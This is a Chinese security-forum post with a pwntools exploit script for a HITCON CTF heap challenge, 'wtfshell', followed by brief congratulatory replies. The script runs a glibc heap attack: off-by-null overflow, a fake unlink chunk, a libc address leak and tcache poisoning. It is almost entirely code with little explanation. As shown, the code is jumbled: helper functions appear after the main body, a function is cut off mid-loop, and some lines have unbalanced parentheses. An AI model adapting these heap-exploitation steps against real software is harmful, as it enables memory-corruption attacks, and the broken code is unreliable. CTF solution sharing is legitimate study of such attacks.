new_file(b'off-by-null-chunk',b'3')
 
 
for i in range(0x7):
    new_file(b"chunk"+str(i).encode(),b'3')
    new_file(b"chunk1"+str(i).encode(),b'3')
 
new_file(b'chunk21',b'3')
new_file(b'chunk22',b'3')
 
for i in range(0x7):
    for j in range(0x4):
        add_data(b"chunk"+str(i).encode(),b'a'*0x100)
 
for i in range(0x2):
    for j in range(0x2):
        add_data(b"chunk1"+str(i).encode(),b'a'*0x100
    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n'
 
for i in range(0x3):
    recover_data(b"chunk2"+str(i).encode(),b'a'*0x20)
 
for i in range(3,7):
    for j in range(0x2):
        add_data(b"chunk1"+str(i).encode(),b'a'*0x100
    add_data(b"chunk1"+str(i).encode(),b'a'*0xf0+b'\n')
 
[add_data(b'big',p16(0x1650)+b'/'*(0x100-2)) for i in range(0x10)]
add_data(b'big',b'a'*0x10+b'\n')
new_file(b'b'*0x100,b'3')#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk
 
add_data(b'big',b'a'*0x100)# free the unsortedbin
 
#add 0x408 back
[add_data(b'gbuff',b'a'*0x100) for i in range(0x3)]
add_data(b'gbuff',b'a'*0xf8+b'\n')
 
#add 0x521 chunk to off-by-null
[add_data(b'off-by-null-chunk',b'a'*0x100) for i in range(0x5)]
add_data(b'off-by-null-chunk',b'a'*0x10+b'\n')
 
[delete_file(b"chunk"+str(i).encode()) for i in range(0x6)]
 
add_data(b'gbuff',b'a'*0x100)
 
delete_all()
 
new_file(b'useless_chunk',b'3')
[add_data(b'useless_chunk',b'a'*0x100) for i in range(0x3)]
add_data(b'useless_chunk',b'a'*0x10+b'\n')
 
# add a 0x321 chunk and edit its fake_next_size
new_file(b'off-by-null-chunk',b'3')
[add_data(b'off-by-null-chunk',b'\x31'*0x100) for i in range(0x3)]
add_data(b'off-by-null-chunk',b'\x31'*0x10+b'\n')
[recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-i)) for i in range(0x6)]
recover_data(b'off-by-null-chunk',b'\x31'*(0x2ff-6)+b'\x09')
 
menu(b'rip.'+b'a'*(0x400-4))#make off by null and clear the prev_size
 
for i in range(0x9):
    new_file(b"chunk1"+str(i).encode(),b'3')
for i in range(0x9):
    recover_data(b"chunk1"+str(i).encode(),b'i'*0x2f0)
 
fake_point = heap_base+0x2af0
fake_point_addr = fake_point+0x30
fake_unlink_chunk = b'i'*0x10+p64(0)+p64(0x1651)+p64(fake_point_addr-0x18)+p64(fake_point_addr-0x10)+p64(fake_point_addr-0x20)+p64(fake_point_addr-0x18)+p64(fake_point)*2
 
 
 
 
write_addr(b'chunk15',fake_unlink_chunk,len(fake_unlink_chunk)-0x10)
 
[delete_file(b"chunk1"+str(i).encode()) for i in range(0x4)]
delete_file(b'chunk17')
delete_file(b'chunk18')
delete_file(b'chunk16')
 
 
#off by null unlink
 
delete_file(b'off-by-null-chunk')
 
#clear the tcache list 0x20
for i in range(0xa):
    new_file(b'useless'+str(i).encode(),b'3')
    recover_data(b'useless'+str(i).encode(),b'a'*8)
 
 
new_file(b'a'*0x2e0,b'3')
new_file(b'b'*0x2d0,b'3')
 
#leak_libc_base
show_file(b'chunk14')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(0x8,b'\0'))-0x1f6cc0
 
new_file(b'a'*0x220,b'3')
 
new_file(b'edit_tcache_next',b'3')
recover_data(b'edit_tcache_next',b'a'*0x220)
write_addr(b'edit_tcache_next',b'a'*192+p64((heap_base+0x330)^(key+3)),0x8)
 
new_file(b'a'*0x20,b'3')
 
new_file(b'go_attack',b'3')
recover_data(b'go_attack',b'a'*0x20)
write_addr(b'go_attack',p32(1)+p32(0x3)+p64(0xdeadbeef)+b'lotuslotus',0x1a)
 
show_file(b'a'*0x10)
# debug("malloc_printerr")
 
 
 
qwq(heap_base)
 
 
qwq(libc_base)
r.interactive()
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
 
def qwq(name):
  log.success(hex(name))
 
def debug(point):
    if point == 0:
        gdb.attach(r)
    else:
        gdb.attach(r,"b "+point)
 
r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')
 
def menu(payload):
    r.recvuntil("√")
    r.sendline(payload)
 
def add_data(name,content):
    payload = b'rip.'+name
    menu(payload)
    sleep(0.1)
    r.send(content)
 
 
def new_file(name,flag):
    payload = b'nsfw,'+name+b','+flag
    menu(payload)
 
def show_file(name):
    payload = b'omfg,'+name
    menu(payload)
 
def recover_data(name,content):
    payload = b'wtf,'+content+b','+name
    menu(payload)
 
def delete_file(name):
    payload = b'gtfo,'+name
    menu(payload)
 
def add_user(name):
    payload = b'stfu,'+name
    menu(payload)
 
def edit_pwd(name,pwd):
    payload = b'asap,'+name
    menu(payload)
    r.recvuntil(b"password:")
    r.send(pwd)
    r.recvuntil(b"retype password:")
    r.send(pwd)
 
def delete_all():
    payload = b'irl.'
    menu(payload)
 
def burp(name,pwd):
    addr = "\x80"
    for i in range(0x6):
        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
        for j in range(0xb,0xff):

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-12-2 11:12 被Loτυs编辑 ,原因:
上传的附件:
收藏
免费 18
支持
分享
最新回复 (6)
雪    币: 178
活跃值: (8389)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
2
一起肝了很久QAQ,做完其实也没那么难,支持一波Lotus师傅~
2022-12-1 15:32
1
雪    币: 1221
活跃值: (1167)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
winmt 一起肝了很久QAQ,做完其实也没那么难,支持一波Lotus师傅~
winmt超人!!
2022-12-1 15:33
1
雪    币: 646
活跃值: (672)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
两位神带带我
2022-12-1 15:44
0
雪    币: 473
活跃值: (690)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
支持0.0
2022-12-1 18:06
0
雪    币: 1217
活跃值: (3382)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
6
tql
2022-12-2 11:27
0
雪    币: 2267
活跃值: (1553)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
7
tql
2022-12-6 20:56
0
游客
登录 | 注册 方可回帖
返回
//